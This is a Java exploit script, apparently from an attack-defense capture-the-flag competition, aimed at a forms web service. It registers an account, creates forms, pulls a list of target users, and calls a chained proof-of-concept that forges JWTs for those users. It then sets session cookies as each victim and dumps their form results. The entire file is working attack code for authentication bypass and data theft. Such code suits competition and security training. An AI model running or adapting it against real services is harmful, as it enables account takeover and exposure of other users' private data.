88 lines
3.9 KiB
Java
88 lines
3.9 KiB
Java
import java.util.Map;
|
|
import java.util.HashMap;
|
|
import java.util.List;
|
|
|
|
public class Sploit {
|
|
public static void main(String[] args) throws Exception {
|
|
String serviceUrl = "http://" + args[0] + ":5003";
|
|
ClientLib client = new ClientLib(serviceUrl);
|
|
|
|
String attackDataUrl = args[1];
|
|
|
|
String username = CheckLib.generateUsername();
|
|
String password = CheckLib.generatePassword();
|
|
|
|
Map<String, Object> registerResult = client.registerUser(username, password);
|
|
System.out.println("[+] Registration result: " + registerResult);
|
|
|
|
System.out.println("[+] User ID: " + client.getUserId());
|
|
System.out.println("[+] Username: " + client.getUsername());
|
|
System.out.println("[+] Auth Token: " + client.getAuthToken());
|
|
System.out.println("[+] Authenticated: " + client.isAuthenticated());
|
|
|
|
System.out.println("\n[*] Getting current user info...");
|
|
Map<String, Object> userInfo = client.getCurrentUser();
|
|
System.out.println("[+] User info: " + userInfo);
|
|
|
|
System.out.println("\n[*] Creating a form...");
|
|
Map<String, Object> schema = new HashMap<>();
|
|
schema.put("title", CheckLib.rndString(10));
|
|
schema.put("description", CheckLib.rndString(10));
|
|
|
|
Map<String, Object> formResult = client.createForm(schema);
|
|
System.out.println("[+] Form created: " + formResult);
|
|
|
|
String formId = (String) formResult.get("formId");
|
|
long formNumber = (long) formResult.get("formNumber");
|
|
|
|
System.out.println("\n[*] Creating a form...");
|
|
Map<String, Object> schema2 = new HashMap<>();
|
|
schema2.put("title", CheckLib.rndString(10));
|
|
schema2.put("description", CheckLib.rndString(10));
|
|
|
|
Map<String, Object> formResult2 = client.createForm(schema2);
|
|
System.out.println("[+] Form created: " + formResult2);
|
|
|
|
String formId2 = (String) formResult2.get("formId");
|
|
|
|
System.out.println("[+] Form ID: " + formId);
|
|
|
|
System.out.println("[+] Form 1: " + formId);
|
|
System.out.println("[+] Form 2: " + formId2);
|
|
System.out.println("[+] User ID: " + userInfo.get("userId"));
|
|
System.out.println("[+] Username: " + username);
|
|
System.out.println("[+] Auth Token: " + client.getAuthToken());
|
|
System.out.println("[+] User ID: " + userInfo.get("userId"));
|
|
|
|
List<Map<String, Object>> myForms1 = client.getMyForms();
|
|
System.out.println("[+] My forms: " + myForms1);
|
|
|
|
System.out.println("\n[*] Fetching attack data for host: " + args[0]);
|
|
List<Map<String, String>> targetUsers = AttackData.getAllUsers(args[0], attackDataUrl);
|
|
System.out.println("[+] Target users: " + targetUsers);
|
|
|
|
long userId = ((Number) userInfo.get("userId")).longValue();
|
|
System.out.println("[+] Current User ID: " + userId);
|
|
|
|
Map<String, String>[] jwtsWithUsers = ChainPoC_HexIDs.exploit(formNumber, userId, client.getAuthToken(), targetUsers, formId, formId2);
|
|
System.out.println("[+] Generated " + jwtsWithUsers.length + " JWTs");
|
|
|
|
for (Map<String, String> jwtData : jwtsWithUsers) {
|
|
String jwt = jwtData.get("jwt");
|
|
String targetUsername = jwtData.get("username");
|
|
String targetUserId = jwtData.get("userId");
|
|
|
|
client.setSessionCookies(targetUserId, targetUsername, jwt);
|
|
|
|
System.out.println("\n[+] Testing as user: " + targetUsername + " (ID: " + targetUserId + ")");
|
|
System.out.println("[+] Check auth: " + client.isAuthenticated());
|
|
|
|
List<Map<String, Object>> myForms = client.getMyForms();
|
|
|
|
for (Map<String, Object> form : myForms) {
|
|
System.out.println("[+] Form results: " + client.getFormResults(form.get("formId").toString()));
|
|
}
|
|
}
|
|
}
|
|
}
|